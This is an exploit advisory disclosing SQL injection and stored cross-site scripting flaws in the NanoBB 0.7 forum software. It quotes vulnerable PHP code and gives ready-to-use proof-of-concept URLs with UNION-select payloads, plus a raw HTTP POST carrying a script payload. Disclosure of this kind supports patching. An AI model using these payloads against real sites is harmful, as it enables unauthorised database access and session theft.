06/11/2013

NanoBB 0.7 - Multiple Vulnerabilities

# Exploit Title   : NanoBB 0.7 Multiple Vulnerabilities
# Date            : 10 June 2013
# Exploit Author  : CWH Underground
# Site            : www.2600.in.th
# Vendor Homepage : http://nanobb.sourceforge.net/
# Software Link   : heanet.dl.sourceforge.net/project/nanobb/v0.7.zip
# Version         : 0.7
# Tested on       : Window and Linux

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /        
  / XXXXXX /
(________(          
  `------'

##############################################
VULNERABILITY: SQL Injection (Category,Topic)
##############################################

/category.php (LINE: 7-16)

-----------------------------------------------------------------------------
LINE 7-16:

$sql = "SELECT
            cat_id,
            cat_name,
            cat_description
        FROM
            categories
        WHERE
            cat_id = " . mysql_real_escape_string($_GET['id']);

$result = mysql_query($sql);
-----------------------------------------------------------------------------


/topic.php (LINE: 7-16)

-----------------------------------------------------------------------------
LINE 11-19:

$sql = "SELECT
            topic_id,
            topic_subject
        FROM
            topics
        WHERE
            topics.topic_id = " . mysql_real_escape_string($_GET['id']);
            
$result = mysql_query($sql);
-----------------------------------------------------------------------------
    

#####################################################
DESCRIPTION FOR SQL INJECTION
#####################################################

An attacker might execute arbitrary SQL commands on the database server with this vulnerability.
User tainted data is used when creating the database query that will be executed on the database management system (DBMS).
An attacker can inject own SQL syntax thus initiate reading, inserting or deleting database entries or attacking the underlying operating system
depending on the query, DBMS and configuration.

POC:

http://target/nano/category.php?id=9%20and%201%20div%202%20union%20select%201,concat%28user%28%29,0x3a3a,database%28%29,0x3a3a,version%28%29%29,3
http://target/nano/topic.php?id=10%20and%201%20div%200%20union%20select%201,concat%28user%28%29,0x3a3a,database%28%29,0x3a3a,version%28%29%29


#####################################################
VULNERABILITY: Cross Site Scripting (Create_topic.php)
#####################################################

/category.php (LINE: 106-119)

-----------------------------------------------------------------------------
LINE 106-119:

$topicid = mysql_insert_id();
                
                $sql = "INSERT INTO
                            posts(post_content,
                                  post_date,
                                  post_topic,
                                  post_by)
                        VALUES
                            ('" . mysql_real_escape_string($_POST['post_content']) . "',
                                  NOW(),
                                  " . $topicid . ",
                                  " . $_SESSION['user_id'] . "
                            )";
                $result = mysql_query($sql);
-----------------------------------------------------------------------------


#####################################################
DESCRIPTION FOR CROSS SITE SCRIPTING
#####################################################

An attacker might execute arbitrary HTML/JavaScript Code in the clients browser context with this security vulnerability.
User tainted data is embedded into the HTML output by the application and rendered by the users browser, thus allowing an attacker
to embed and render malicious code. Preparing a malicious link will lead to an execution of this malicious code in another users browser
context when clicking the link. This can lead to local website defacement, phishing or cookie stealing and session hijacking.

POC:

POST /nano/create_topic.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/nano/create_topic.php
Cookie: __utma=111872281.1795322081.1369810583.1369810583.1369810583.1; __utmz=111872281.1369810583.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); lang=en_US; PHPSESSID=gbf1u3p49bid3b1g4cnhuplco5
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 98
topic_subject=Test+XSS&topic_cat=7&post_content=%3Cscript%3Ealert%28%22XSS%22%29%3B%3C%2Fscript%3E


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Greetz      : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
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